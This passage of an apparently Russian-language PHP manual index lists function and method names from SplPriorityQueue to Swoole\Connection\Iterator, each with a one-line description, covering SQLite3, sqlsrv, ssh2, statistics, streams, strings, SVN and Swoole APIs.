    • SplPriorityQueue::top - Возвращает узел, находящийся в начале очереди
    • SplPriorityQueue::valid - Проверяет, есть ли в очереди ещё элементы
    • SplQueue::dequeue - Удаляет элемент из очереди
    • SplQueue::enqueue - Добавляет элемент в очередь
    • SplSubject::attach - Присоединить наблюдателя (объект класса SplObserver)
    • SplSubject::detach - Отсоединить наблюдателя
    • SplSubject::notify - Уведомить наблюдателя
    • SplTempFileObject::__construct - Создаёт новый объект временного файла
    • spl_autoload - Выступает в роли функции по умолчанию для функций __autoload()
    • spl_autoload_call - Пытается загрузить класс всеми зарегистрированными функциями __autoload()
    • spl_autoload_extensions - Регистрирует и выводит расширения файлов для функций spl_autoload
    • spl_autoload_functions - Возвращает список зарегистрированных функций автозагрузки классов
    • spl_autoload_register - Регистрирует функцию как реализацию функции __autoload()
    • spl_autoload_unregister - Отменяет регистрацию функции как реализации метода функций __autoload()
    • spl_classes - Возвращает доступные классы SPL
    • spl_object_hash - Возвращает хеш-идентификатор объекта
    • spl_object_id - Получает целочисленный идентификатор объекта
    • Spoofchecker::areConfusable - Проверить, являются ли строки подозрительными
    • Spoofchecker::isSuspicious - Проверяет, содержит ли текст подозрительные символы
    • Spoofchecker::setAllowedLocales - Локаль для использования в проверках
    • Spoofchecker::setChecks - Установить набор проверок
    • Spoofchecker::setRestrictionLevel - Устанавливает уровень ограничения
    • Spoofchecker::__construct - Конструктор класса
    • sprintf - Возвращает отформатированную строку
    • SQLite3::backup - Резервное копирование одной базы данных в другую
    • SQLite3::busyTimeout - Установить обработчик "занято" на соединение
    • SQLite3::changes - Получить количество строк, которые были изменены/удалены/вставлены последним запросом
    • SQLite3::close - Закрыть соединение с базой данных
    • SQLite3::createAggregate - Зарегистрировать функцию PHP в качестве агрегирующей функции SQL
    • SQLite3::createCollation - Регистрирует функцию PHP для использования в качестве функции сортировки SQL
    • SQLite3::createFunction - Регистрирует функцию PHP для использования в качестве скалярной функции SQL
    • SQLite3::enableExceptions - Включает генерацию исключений
    • SQLite3::escapeString - Возвращает правильно экранированную строку
    • SQLite3::exec - Выполняет запрос без результата к текущей базе данных
    • SQLite3::lastErrorCode - Возвращает числовой код результата последнего неудачного запроса SQLite
    • SQLite3::lastErrorMsg - Возвращает текст на английском, описывающий последний неудачный запрос SQLite
    • SQLite3::lastInsertRowID - Возвращает идентификатор строки последней вставки (INSERT) в базу данных
    • SQLite3::loadExtension - Попытаться загрузить библиотеку модуля SQLite
    • SQLite3::open - Открывает базу данных SQLite
    • SQLite3::openBlob - Открывает ресурс потока для чтения BLOB
    • SQLite3::prepare - Подготавливает SQL-запрос для выполнения
    • SQLite3::query - Выполняет SQL-запрос
    • SQLite3::querySingle - Выполняет запрос и возвращает одиночный результат
    • SQLite3::setAuthorizer - Устанавливает callback-функцию, которая будет использоваться в качестве авторизатора для ограничения действий выражения
    • SQLite3::version - Возвращает версию библиотеки SQLite3, содержит как строковую константу, так и числовую
    • SQLite3::__construct - Создаёт экземпляр объекта SQLite3 и открывает соединение с базой
    • SQLite3Result::columnName - >Возвращает имя n-ого столбца
    • SQLite3Result::columnType - Возвращает тип n-ного столбца
    • SQLite3Result::fetchArray - Выбирает одну строку из результирующего набора и помещает её в ассоциативный или нумерованный массив, или в оба сразу
    • SQLite3Result::finalize - Закрывает результирующий набор
    • SQLite3Result::numColumns - Возвращает количество столбцов в результирующем наборе
    • SQLite3Result::reset - Сбрасывает указатель результирующего набора на первую строку
    • SQLite3Result::__construct - Конструктор класса SQLite3Result
    • SQLite3Stmt::bindParam - Связывает параметр с переменной подготовленного запроса
    • SQLite3Stmt::bindValue - Связывает значение параметра с переменной подготовленного запроса
    • SQLite3Stmt::clear - Удаляет все текущие привязанные параметры
    • SQLite3Stmt::close - Закрывает подготовленный запрос
    • SQLite3Stmt::execute - Выполняет подготовленный запрос и возвращает объект с результирующим набором
    • SQLite3Stmt::getSQL - Получить SQL-запрос в виде строки из запроса
    • SQLite3Stmt::paramCount - Возвращает количество параметров в подготовленном запросе
    • SQLite3Stmt::readOnly - Проверяет, является ли подготовленный запрос только для чтения
    • SQLite3Stmt::reset - Сбрасывает подготовленный запрос
    • SQLite3Stmt::__construct - Конструктор класса SQLite3Stmt
    • sqlsrv_begin_transaction - Начинает транзакцию базы данных
    • sqlsrv_cancel - Отменяет оператор
    • sqlsrv_client_info - Возвращает информацию о клиенте и указанном подключении
    • sqlsrv_close - Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением
    • sqlsrv_commit - Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction
    • sqlsrv_configure - Изменяет конфигурацию обработки ошибок драйвера и ведения журнала
    • sqlsrv_connect - Открывает соединение с базой данных Microsoft SQL Server
    • sqlsrv_errors - Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV
    • sqlsrv_execute - Выполняет запрос, подготовленный с помощью sqlsrv_prepare
    • sqlsrv_fetch - Делает следующую строку в наборе результатов доступной для чтения
    • sqlsrv_fetch_array - Возвращает строку как массив
    • sqlsrv_fetch_object - Получает следующую строку данных в наборе результатов как объект
    • sqlsrv_field_metadata - Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare или sqlsrv_query
    • sqlsrv_free_stmt - Освобождает все ресурсы для указанного оператора
    • sqlsrv_get_config - Возвращает значение указанного параметра конфигурации
    • sqlsrv_get_field - Получает данные поля из текущей выбранной строки
    • sqlsrv_has_rows - Указывает, есть ли у указанного оператора строки
    • sqlsrv_next_result - Делает активным следующий результат указанного оператора
    • sqlsrv_num_fields - Извлекает количество полей (столбцов) оператора
    • sqlsrv_num_rows - Получает количество строк в наборе результатов
    • sqlsrv_prepare - Подготавливает запрос к исполнению
    • sqlsrv_query - Подготавливает и выполняет запрос
    • sqlsrv_rollback - Откатывает транзакцию, начатую sqlsrv_begin_transaction
    • sqlsrv_rows_affected - Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE
    • sqlsrv_send_stream_data - Отправляет данные из потоков параметров на сервер
    • sqlsrv_server_info - Возвращает информацию о сервере
    • SqlStatement::bind - Связывает параметры утверждения
    • SqlStatement::execute - Выполняет операцию
    • SqlStatement::getNextResult - Получает следующий результат
    • SqlStatement::getResult - Получает результат
    • SqlStatement::hasMoreResults - Проверяет, есть ли ещё результаты
    • SqlStatement::__construct - Описание конструктора
    • SqlStatementResult::fetchAll - Получает все строки из результата
    • SqlStatementResult::fetchOne - Получает одну строку
    • SqlStatementResult::getAffectedItemsCount - Получает затронутое количество строк
    • SqlStatementResult::getColumnNames - Получает имена столбцов
    • SqlStatementResult::getColumns - Получает столбцы
    • SqlStatementResult::getColumnsCount - Получает количество столбцов
    • SqlStatementResult::getGeneratedIds - Получает сгенерированные идентификаторы
    • SqlStatementResult::getLastInsertId - Получает последний идентификатор вставки
    • SqlStatementResult::getWarnings - Получает предупреждения от последней операции
    • SqlStatementResult::getWarningsCount - Получает количество предупреждений от последней операции
    • SqlStatementResult::hasData - Проверяет, есть ли у результата данные
    • SqlStatementResult::nextResult - Получает следующий результат
    • SqlStatementResult::__construct - Описание конструктора
    • sqrt - Извлекает квадратный корень
    • srand - Задаёт начальное число генератора псевдослучайных чисел
    • sscanf - Разбирает строку в соответствии с заданным форматом
    • ssdeep_fuzzy_compare - Вычисляет похожесть двух сигнатур нечётких хешей
    • ssdeep_fuzzy_hash - Создаёт нечёткий хеш из строки
    • ssdeep_fuzzy_hash_filename - Создание нечёткого хеша из файла
    • ssh2:// - Secure Shell 2
    • ssh2_auth_agent - Аутентификация через SSH с помощью агент ssh
    • ssh2_auth_hostbased_file - Аутентификация с использованием открытого ключа хоста
    • ssh2_auth_none - Аутентификация как "none"
    • ssh2_auth_password - Аутентификация через SSH с использованием обычного пароля
    • ssh2_auth_pubkey_file - Аутентификация с открытым ключом
    • ssh2_connect - Подключение к SSH-серверу
    • ssh2_disconnect - Закрыть соединение с удалённым сервером SSH
    • ssh2_exec - Выполнение команды на удалённом сервере
    • ssh2_fetch_stream - Получение расширенного потока данных
    • ssh2_fingerprint - Получение отпечатка удалённого сервера
    • ssh2_forward_accept - Принимает соединение, созданное слушателем
    • ssh2_forward_listen - Связывает порт на удалённом сервере и прослушивает соединения
    • ssh2_methods_negotiated - Возвращает список согласованных методов
    • ssh2_poll - Опрашивает каналы/слушателей/потоки на предмет событий
    • ssh2_publickey_add - Добавляет авторизованный открытый ключ
    • ssh2_publickey_init - Инициализирует подсистему открытого ключа
    • ssh2_publickey_list - Список уже авторизованных открытых ключей
    • ssh2_publickey_remove - Удаляет авторизованный открытый ключ
    • ssh2_scp_recv - Запрос файла через SCP
    • ssh2_scp_send - Отправка файла через SCP
    • ssh2_send_eof - Отправляет EOF в поток
    • ssh2_sftp - Инициализировать подсистему SFTP
    • ssh2_sftp_chmod - Изменение прав доступа
    • ssh2_sftp_lstat - Информация о символической ссылке
    • ssh2_sftp_mkdir - Создать директорию
    • ssh2_sftp_readlink - Возвращает объект по символической ссылке
    • ssh2_sftp_realpath - Определяет полный путь по предоставленной строке с путём
    • ssh2_sftp_rename - Переименовывает файл
    • ssh2_sftp_rmdir - Удаляет директорию
    • ssh2_sftp_stat - Информация о файле
    • ssh2_sftp_symlink - Создать символическую ссылку
    • ssh2_sftp_unlink - Удалить файл на сервере
    • ssh2_shell - Запрашивает интерактивный терминал
    • ssh2_tunnel - Открыть туннель через удалённый сервер
    • stat - Возвращает информацию о файле
    • Statement::getNextResult - Получает следующий результат
    • Statement::getResult - Получает результат
    • Statement::hasMoreResults - Проверяет, есть ли ещё результаты
    • Statement::__construct - Описание конструктора
    • stats_absolute_deviation - Возвращает абсолютное отклонение массива значений
    • stats_cdf_beta - Вычисляет любой один параметр Бета-распределения на основе остальных заданных значений
    • stats_cdf_binomial - Вычисляет один из параметров биноминального распределения по остальным
    • stats_cdf_cauchy - Вычисляет один из параметров распределения Коши по остальным
    • stats_cdf_chisquare - Вычисляет один из параметров распределения хи-квадрат по остальным
    • stats_cdf_exponential - Вычисляет один из параметров экспоненциального распределения по остальным
    • stats_cdf_f - Вычисляет один из параметров распределения Фишера по остальным
    • stats_cdf_gamma - Вычисляет один из параметров Гамма-распределения по остальным
    • stats_cdf_laplace - Вычисляет один из параметров распределения Лапласа по остальным
    • stats_cdf_logistic - Вычисляет один из параметров логистического распределения по остальным
    • stats_cdf_negative_binomial - Вычисляет один из параметров Отрицательного Биноминального распределения по остальным
    • stats_cdf_noncentral_chisquare - Вычисляет один из параметров нецентрального распределения хи-квадрат по остальным
    • stats_cdf_noncentral_f - Вычисляет один из параметров нецентрального распределения Фишера по остальным
    • stats_cdf_noncentral_t - Вычисляет один из параметров нецентрального распределения Стьюдента в зависимости от остальных
    • stats_cdf_normal - Вычисляет один из параметров распределения в зависимости от остальных
    • stats_cdf_poisson - Вычисляет один из параметров распределения Пуассона по остальным
    • stats_cdf_t - Вычисляет один из параметров распределения Стьюдента по остальным
    • stats_cdf_uniform - Вычисляет один из параметров равномерного распределения по остальным
    • stats_cdf_weibull - Вычисляет один из параметров распределения Вейбулла по остальным
    • stats_covariance - Вычисляет ковариацию двух наборов данных
    • stats_dens_beta - Плотность вероятности бета-распределения
    • stats_dens_cauchy - Плотность вероятности распределения Коши
    • stats_dens_chisquare - Плотность вероятности распределения хи-квадрат
    • stats_dens_exponential - Плотность вероятности экспоненциального распределения
    • stats_dens_f - Плотность вероятности распределения Фишера
    • stats_dens_gamma - Плотность вероятности гамма-распределения
    • stats_dens_laplace - Плотность вероятности распределения Лапласа
    • stats_dens_logistic - Плотность вероятности логистического распределения
    • stats_dens_normal - Возвращает плотность вероятности нормального распределения
    • stats_dens_pmf_binomial - Вероятностная мера биноминального распределения
    • stats_dens_pmf_hypergeometric - Вероятностная мера гипергеометрического распределения
    • stats_dens_pmf_negative_binomial - Функция плотности вероятности негативного биноминального распределения
    • stats_dens_pmf_poisson - Вероятностная мера распределения Пуассона
    • stats_dens_t - Плотность вероятности распределения Стьюдента
    • stats_dens_uniform - Функция плотности вероятности равномерного распределения
    • stats_dens_weibull - Плотность вероятности распределения Вейбулла
    • stats_harmonic_mean - Возвращает среднее гармоническое массива значений
    • stats_kurtosis - Вычисляет эксцесс данных в массиве
    • stats_rand_gen_beta - Вычисляет случайное отклонение от бета-распределения
    • stats_rand_gen_chisquare - Вычисляет случайное отклонение от распределения хи-квадрат
    • stats_rand_gen_exponential - Вычисляет случайное отклонение от экспоненциального распределения
    • stats_rand_gen_f - Генерирует случайное отклонение от распределения Фишера
    • stats_rand_gen_funiform - Сгенерировать рациональное число от low (исключая) до high (исключая) на базе равномерного распределения
    • stats_rand_gen_gamma - Вычисляет случайное отклонение от гамма-распределения
    • stats_rand_gen_ibinomial - Вычисляет случайное отклонение от биноминального распределения
    • stats_rand_gen_ibinomial_negative - Вычисляет случайное отклонение от отрицательного биноминального распределения
    • stats_rand_gen_int - Генерирует случайное число в диапазоне от 1 до 2147483562
    • stats_rand_gen_ipoisson - Вычисляет случайное отклонение от распределения Пуассона
    • stats_rand_gen_iuniform - Генерирует целое число равномерно распределённое в диапазоне LOW (включая) и HIGH (включая)
    • stats_rand_gen_noncentral_chisquare - Генерирует случайное отклонение нецентрального распределения хи-квадрат
    • stats_rand_gen_noncentral_f - Вычисляет случайное отклонение от нецентрального распределения Фишера
    • stats_rand_gen_noncentral_t - Вычисляет единичное случайное отклонение от нецентрального распределения Стьюдента
    • stats_rand_gen_normal - Генерирует одно случайное отклонение от нормального распределения
    • stats_rand_gen_t - Генерирует одно случайное отклонение от t-распределения
    • stats_rand_get_seeds - Получает начальные значения генератора случайных чисел
    • stats_rand_phrase_to_seeds - Генерирует два начальных числа для генератора случайных чисел RGN
    • stats_rand_ranf - Генерирует случайное число с плавающей точкой от 0 до 1
    • stats_rand_setall - Устанавливает начальные значения для генератора случайных чисел
    • stats_skew - Вычисляет асимметрию данных в массиве
    • stats_standard_deviation - Возвращает стандартное отклонение
    • stats_stat_binomial_coef - Получить биноминальный коэффициент
    • stats_stat_correlation - Возвращает коэффициент корреляции Пирсона двух наборов данных
    • stats_stat_factorial - Факториал целого числа
    • stats_stat_independent_t - Получить значение t для двухвыборочного t-критерия Стьюдента для независимых выборок
    • stats_stat_innerproduct - Возвращает скалярное произведение двух векторов
    • stats_stat_paired_t - Получить значение t для двухвыборочного t-критерия Стьюдента для зависимых выборок
    • stats_stat_percentile - Возвращает значение процентиля
    • stats_stat_powersum - Возвращает степенную сумму вектора
    • stats_variance - Возвращает дисперсию
    • Stomp::abort - Отменяет выполнение текущей транзакции
    • Stomp::ack - Подтверждает получение сообщения
    • Stomp::begin - Создаёт транзакцию
    • Stomp::commit - Выполняет текущую транзакцию
    • Stomp::error - Возвращает последнюю ошибку Stomp
    • Stomp::getReadTimeout - Возвращает время максимального ожидания операции чтения
    • Stomp::getSessionId - Возвращает идентификатор текущей сессии Stomp
    • Stomp::hasFrame - Проверяет, возможно ли чтение фрейма
    • Stomp::readFrame - Выполняет операцию чтения следующего фрейма
    • Stomp::send - Отправляет сообщение
    • Stomp::setReadTimeout - Устанавливает предельное время ожидания операции чтения
    • Stomp::subscribe - Регистрирует подписку на указанную рассылку
    • Stomp::unsubscribe - Удаляет существующую подписку
    • Stomp::__construct - Открывает соединение
    • Stomp::__destruct - Закрывает Stomp-соединение
    • StompException::getDetails - Возвращает сведения об исключении
    • StompFrame::__construct - Конструктор
    • stomp_connect_error - Возвращает строку с описанием последней ошибки подключения
    • stomp_version - Возвращает текущую версию модуля Stomp
    • strcasecmp - Бинарно-безопасное сравнение строк без учёта регистра
    • strchr - Псевдоним strstr
    • strcmp - Бинарно-безопасное сравнение строк
    • strcoll - Сравнение строк с учётом текущей локали
    • strcspn - Возвращает длину участка в начале строки, не соответствующего маске
    • streamWrapper::dir_closedir - Закрыть дескриптор директории
    • streamWrapper::dir_opendir - Открыть дескриптор директории
    • streamWrapper::dir_readdir - Чтение записи из дескриптора директории
    • streamWrapper::dir_rewinddir - Дескриптор директории перемещения на её в начало
    • streamWrapper::mkdir - Создание директории
    • streamWrapper::rename - Переименовывает файл или директорию
    • streamWrapper::rmdir - Удаляет директорию
    • streamWrapper::stream_cast - Получает ресурс уровнем ниже
    • streamWrapper::stream_close - Закрывает ресурс
    • streamWrapper::stream_eof - Проверяет достижение конца файла по файловому указателю
    • streamWrapper::stream_flush - Сбрасывает вывод
    • streamWrapper::stream_lock - Консультативная блокировка файла
    • streamWrapper::stream_metadata - Изменяет метаданные потока
    • streamWrapper::stream_open - Открывает файл или URL
    • streamWrapper::stream_read - Читает из потока
    • streamWrapper::stream_seek - Перемещение на заданную позицию в потоке
    • streamWrapper::stream_set_option - Изменение настроек потока
    • streamWrapper::stream_stat - Получение информации о файловом ресурсе
    • streamWrapper::stream_tell - Определение текущей позиции потока
    • streamWrapper::stream_truncate - Усечение потока
    • streamWrapper::stream_write - Запись в поток
    • streamWrapper::unlink - Удаление файла
    • streamWrapper::url_stat - Получение информации о файле
    • streamWrapper::__construct - Создаёт новый объект обёртки потока
    • streamWrapper::__destruct - Уничтожает существующую обёртку потока
    • stream_bucket_append - Добавить бакет в бригаду
    • stream_bucket_make_writeable - Возвращает объект бакета из бригады для дальнейшей работы с ним
    • stream_bucket_new - Создаёт новый бакет для использования в текущем потоке
    • stream_bucket_prepend - Добавляет бакет в начало бригады
    • stream_context_create - Создаёт контекст потока
    • stream_context_get_default - Получает контекст потока по умолчанию
    • stream_context_get_options - Получает опции для потока/обёртки/контекста
    • stream_context_get_params - Получает параметры из контекста
    • stream_context_set_default - Установить контекст потока по умолчанию
    • stream_context_set_option - Устанавливает опцию для потока/обёртки/контекста
    • stream_context_set_options - Устанавливает опции заданному контексту
    • stream_context_set_params - Устанавливает параметры для потока, обёртки или контекста
    • stream_copy_to_stream - Копирует данные из одного потока в другой
    • stream_filter_append - Прикрепить фильтр к потоку
    • stream_filter_prepend - Прикрепляет фильтр к потоку
    • stream_filter_register - Регистрирует потоковый фильтр, определённый пользователем
    • stream_filter_remove - Удалить фильтр из потока
    • stream_get_contents - Читает оставшуюся часть потока в строку
    • stream_get_filters - Получить список зарегистрированных фильтров
    • stream_get_line - Получает строку из потокового ресурса до указанного разделителя
    • stream_get_meta_data - Извлекает заголовок/метаданные из потоков/файловых указателей
    • stream_get_transports - Получить список зарегистрированных транспортов сокета
    • stream_get_wrappers - Получить список зарегистрированных потоков
    • stream_isatty - Проверяет, является ли поток TTY
    • stream_is_local - Проверяет, является ли поток локальным потоком
    • stream_notification_callback - Callback-функция для параметра контекста notification
    • stream_register_wrapper - Псевдоним stream_wrapper_register
    • stream_resolve_include_path - Преобразовать полное имя файла, используя пути включения
    • stream_select - Запускает эквивалент системного вызова select() на массивах потоков со временем ожидания в секундах и микросекундах
    • stream_set_blocking - Устанавливает блокирующий или неблокирующий режим для потока
    • stream_set_chunk_size - Устанавливает размер фрагмента данных потока
    • stream_set_read_buffer - Установить буферизацию чтения файла на указанном потоке
    • stream_set_timeout - Установить значение времени ожидания для потока
    • stream_set_write_buffer - Устанавливает буферизацию файла при записи в указанный поток
    • stream_socket_accept - Принимать соединение в сокете, созданном c помощью функции stream_socket_server
    • stream_socket_client - Открыть соединение с интернет-сокетом или с доменным сокетом Unix
    • stream_socket_enable_crypto - Включает или отключает шифрование на уже подключённом сокете
    • stream_socket_get_name - Получить название локального или удалённого сокета
    • stream_socket_pair - Создаёт пару подключённых, неразличимых потоков сокетов
    • stream_socket_recvfrom - Получает данные из сокета, подключённого или нет
    • stream_socket_sendto - Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
    • stream_socket_server - Создаёт интернет-сокет или доменный сокет Unix
    • stream_socket_shutdown - Закрыть полнодуплексное соединение
    • stream_supports_lock - Определяет, поддерживает ли поток блокировку
    • stream_wrapper_register - Регистрирует обёртку URL, реализованную в виде PHP-класса
    • stream_wrapper_restore - Восстанавливает отменённую ранее встроенную обёртку
    • stream_wrapper_unregister - Отменяет регистрацию обёртки URL
    • strftime - Форматирует текущую дату/время с учётом текущих настроек локали
    • Stringable::__toString - Получает строковое представление объекта
    • stripcslashes - Удаляет экранирование символов, произведённое функцией addcslashes
    • stripos - Возвращает позицию первого вхождения подстроки без учёта регистра
    • stripslashes - Удаляет экранирование символов
    • strip_tags - Удаляет теги HTML и PHP из строки
    • stristr - Регистронезависимый вариант функции strstr
    • strlen - Получает длину строки
    • strnatcasecmp - Сравнение строк без учёта регистра с использованием алгоритма "natural order"
    • strnatcmp - Сравнение строк с использованием алгоритма "natural order"
    • strncasecmp - Бинарно-безопасное сравнение первых n символов строк без учёта регистра
    • strncmp - Бинарно-безопасное сравнение первых n символов строк
    • strpbrk - Ищет в строке любой символ из заданного набора
    • strpos - Возвращает позицию первого вхождения подстроки
    • strptime - Разбирает строку даты/времени, сгенерированную функцией strftime
    • strrchr - Находит последнее вхождение символа в строке
    • strrev - Переворачивает строку задом наперёд
    • strripos - Возвращает позицию последнего вхождения подстроки без учёта регистра
    • strrpos - Возвращает позицию последнего вхождения подстроки в строке
    • strspn - Возвращает длину участка в начале строки, полностью соответствующего маске
    • strstr - Находит первое вхождение подстроки
    • strtok - Разбивает строку на токены
    • strtolower - Преобразовывает строку в нижний регистр
    • strtotime - Преобразовывает текстовое представление даты на английском языке в метку времени Unix
    • strtoupper - Преобразовывает строку в верхний регистр
    • strtr - Преобразовывает заданные символы или заменяет подстроки
    • strval - Возвращает строковое значение переменной
    • str_contains - Определяет, содержит ли строка заданную подстроку
    • str_decrement - Уменьшает на единицу буквенно-цифровую строку
    • str_ends_with - Проверяет, заканчивается ли строка заданной подстрокой
    • str_getcsv - Разбирает CSV-строку в массив
    • str_increment - Увеличивает на единицу буквенно-цифровую строку
    • str_ireplace - Регистронезависимый вариант функции str_replace
    • str_pad - Дополняет строку другой строкой до заданной длины
    • str_repeat - Возвращает повторяющуюся строку
    • str_replace - Заменяет вхождения строки поиска строкой замены
    • str_rot13 - Выполняет преобразование ROT13 над строкой
    • str_shuffle - Переставляет символы в строке случайным образом
    • str_split - Преобразовывает строку в массив
    • str_starts_with - Проверяет, начинается ли строка с заданной подстроки
    • str_word_count - Возвращает информацию о словах, входящих в строку
    • substr - Возвращает подстроку
    • substr_compare - Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра
    • substr_count - Возвращает число вхождений подстроки
    • substr_replace - Заменяет часть строки
    • SVM::crossvalidate - Тестирование обучающих параметров на подмножествах обучающих данных
    • SVM::getOptions - Получить текущие параметры обучения
    • SVM::setOptions - Установить параметры обучения
    • SVM::train - Создать SVMModel на основе обучающих данных
    • SVM::__construct - Конструктор класса SVM
    • SVMModel::checkProbabilityModel - Возвращает true, если модель содержит информацию о вероятностях
    • SVMModel::getLabels - Возвращает метки, на которых обучалась модель
    • SVMModel::getNrClass - Возвращает количество классов, для которых обучалась модель
    • SVMModel::getSvmType - Получить тип SVM, с которым обучалась модель
    • SVMModel::getSvrProbability - Получить величину сигмы для регрессионного типа
    • SVMModel::load - Загружает сохранённую модель SVM
    • SVMModel::predict - Предсказать значение на основе новых данных
    • SVMModel::predict_probability - Возвращает вероятность класса для заданных данных
    • SVMModel::save - Сохранить готовую модель в файл
    • SVMModel::__construct - Конструктор класса SVMModel
    • svn_add - Добавляет элементы в список запланированных для добавления в рабочую копию
    • svn_auth_get_parameter - Возвращает параметр аутентификации
    • svn_auth_set_parameter - Устанавливает параметр аутентификации
    • svn_blame - Построчно выводит автора и редакцию для файла
    • svn_cat - Возвращает содержимое файла в репозитории
    • svn_checkout - Получает рабочую копию из репозитория
    • svn_cleanup - Рекурсивно очищает рабочую копию директории, завершает незаконченные операции и снимает блокировки
    • svn_client_version - Возвращает версию клиентских библиотек SVN
    • svn_commit - Отправляет изменения из рабочей директории в репозиторий
    • svn_delete - Удаляет элементы из рабочей копии или репозитория
    • svn_diff - Рекурсивно показывает различия двух файлов
    • svn_export - Экспортирует содержимое директории SVN
    • svn_fs_abort_txn - Отменяет транзакцию
    • svn_fs_apply_text - Создаёт и возвращает поток, который будет использован для замены
    • svn_fs_begin_txn2 - Создаёт новую транзакцию
    • svn_fs_change_node_prop - Возвращает true, если операция прошла успешно или false в противном случае
    • svn_fs_check_path - Определяет, какая сущность находится в пути репозитория fsroot
    • svn_fs_contents_changed - Возвращает true, если содержимое отличается или false в противном случае
    • svn_fs_copy - Копирует файл или директорию
    • svn_fs_delete - Удаляет файл или директорию
    • svn_fs_dir_entries - Перечисляет элементы директории по заданному пути; возвращает хеш имён директорий и типов файлов
    • svn_fs_file_contents - Возвращает поток для доступа к содержимому файла из данной файловой системы
    • svn_fs_file_length - Возвращает длину файла из данной файловой системы
    • svn_fs_is_dir - Определяет находится ли директория по данному пути
    • svn_fs_is_file - Определяет если находится ли файл по данному пути
    • svn_fs_make_dir - Создаёт новую пустую директорию
    • svn_fs_make_file - Создаёт новый пустой файл
    • svn_fs_node_created_rev - Возвращает номер ревизии, когда был создан путь в файловой системе
    • svn_fs_node_prop - Возвращает значение свойства для узла
    • svn_fs_props_changed - Возвращает true, если свойства разные или false в противном случае
    • svn_fs_revision_prop - Возвращает значение данного свойства
    • svn_fs_revision_root - Возвращает дескриптор определённой версии корневой директории репозитория
    • svn_fs_txn_root - Создаёт и возвращает корень транзакции
    • svn_fs_youngest_rev - Возвращает номер самой ранней ревизии в файловой системе
    • svn_import - Импорт пути без версии в репозитории
    • svn_log - Возвращает комментарии к правкам в репозитории
    • svn_ls - Возвращает список содержимого директории репозитория URL, опционально для конкретной ревизии
    • svn_mkdir - Создаёт директорию в рабочей копии или в репозитории
    • svn_repos_create - Создание нового репозитория Subversion
    • svn_repos_fs - Возвращает дескриптор файловой системы для репозитория
    • svn_repos_fs_begin_txn_for_commit - Создание новой транзакции
    • svn_repos_fs_commit_txn - Отправка транзакции и возвращение номера ревизии
    • svn_repos_hotcopy - Создаёт свежую копию репозитория по адресу repospath и копирует в destpath
    • svn_repos_open - Открывает репозиторий с общей блокировкой
    • svn_repos_recover - Запускает процедуры восстановления репозитория
    • svn_revert - Отменяет локальные изменения рабочей копии
    • svn_status - Возвращает SVN-статус файлов и директорий рабочей копии
    • svn_update - Обновляет рабочую копию
    • Swoole\Async::dnsLookup - Асинхронный и неблокирующий поиск IP по имени хоста
    • Swoole\Async::read - Асинхронное чтение файлового потока
    • Swoole\Async::readFile - Асинхронное чтение файла
    • Swoole\Async::set - Обновляет параметры асинхронного ввода-вывода
    • Swoole\Async::write - Асинхронно записывает данные в файловый поток
    • Swoole\Async::writeFile - Описание
    • Swoole\Atomic::add - Добавляет число к значению атомарного объекта
    • Swoole\Atomic::cmpset - Сравнивает и устанавливает значение атомарного объекта
    • Swoole\Atomic::get - Получает текущее значение атомарного объекта
    • Swoole\Atomic::set - Устанавливает новое значение для атомарного объекта
    • Swoole\Atomic::sub - Вычитает число из значения атомарного объекта
    • Swoole\Atomic::__construct - Создаёт атомарный объект swoole
    • Swoole\Buffer::append - Добавляет строку или двоичные данные в конец буфера памяти и возвращает новый размер выделенной памяти
    • Swoole\Buffer::clear - Сбрасывает буфер памяти
    • Swoole\Buffer::expand - Расширяет размер буфера памяти
    • Swoole\Buffer::read - Читает данные из буфера памяти на основе смещения и длины
    • Swoole\Buffer::recycle - Освобождает память для ОС, которая не используется буфером памяти
    • Swoole\Buffer::substr - Считывает данные из буфера памяти на основе смещения и длины. Или удаляет данные из буфера памяти
    • Swoole\Buffer::write - Записывает данные в буфер памяти. Память, выделенная для буфера, не будет изменена
    • Swoole\Buffer::__construct - Фиксированный размер блока памяти
    • Swoole\Buffer::__destruct - Уничтожает буфер памяти Swoole
    • Swoole\Buffer::__toString - Получает строковое значение буфера памяти
    • Swoole\Channel::pop - Читает и извлекает данные из канала Swoole
    • Swoole\Channel::push - Записывает и передаёт данные в канал Swoole
    • Swoole\Channel::stats - Получает статистику канала Swoole
    • Swoole\Channel::__construct - Создаёт канал Swoole
    • Swoole\Channel::__destruct - Уничтожает канал Swoole
    • Swoole\Client::close - Закрывает установленное соединение
    • Swoole\Client::connect - Подключается к удалённому порту TCP или UDP
    • Swoole\Client::getpeername - Получает имя удалённого сокета соединения
    • Swoole\Client::getsockname - Получает локальное имя сокета соединения
    • Swoole\Client::isConnected - Проверяет, установлено ли соединение
    • Swoole\Client::on - Добавляет callback-функции, вызванные событиями
    • Swoole\Client::pause - Приостанавливает получение данных
    • Swoole\Client::pipe - Перенаправляет данные в другой файловый дескриптор
    • Swoole\Client::recv - Получает данные из удалённого сокета
    • Swoole\Client::resume - Возобновляет получение данных
    • Swoole\Client::send - Отправляет данные в удалённый TCP-сокет
    • Swoole\Client::sendfile - Отправляет файл в удалённый TCP-сокет
    • Swoole\Client::sendto - Отправляет данные на удалённый UDP-адрес
    • Swoole\Client::set - Устанавливает параметры клиента Swoole до установления соединения
    • Swoole\Client::sleep - Удаляет TCP-клиент из цикла системных событий
    • Swoole\Client::wakeup - Добавляет TCP-клиент обратно в цикл системных событий
    • Swoole\Client::__construct - Создаёт синхронный или асинхронный TCP/UDP клиент Swoole с поддержкой SSL или без него
    • Swoole\Client::__destruct - Уничтожает клиент Swoole
    • Swoole\Connection\Iterator::count - Считает соединения
    • Swoole\Connection\Iterator::current - Возвращает текущую запись соединения
    • Swoole\Connection\Iterator::key - Возвращает ключ текущего соединения
    • Swoole\Connection\Iterator::next - Переходит к следующему соединению
    • Swoole\Connection\Iterator::offsetExists - Проверяет, существует ли смещение
    • Swoole\Connection\Iterator::offsetGet - Смещение для извлечения
    • Swoole\Connection\Iterator::offsetSet - Назначает соединение для указанного смещения
    • Swoole\Connection\Iterator::offsetUnset - Сбрасывает смещение
    • Swoole\Connection\Iterator::rewind - Перематывает итератор
    • Swoole\Connection\Iterator::valid - Проверяет правильность текущей позиции
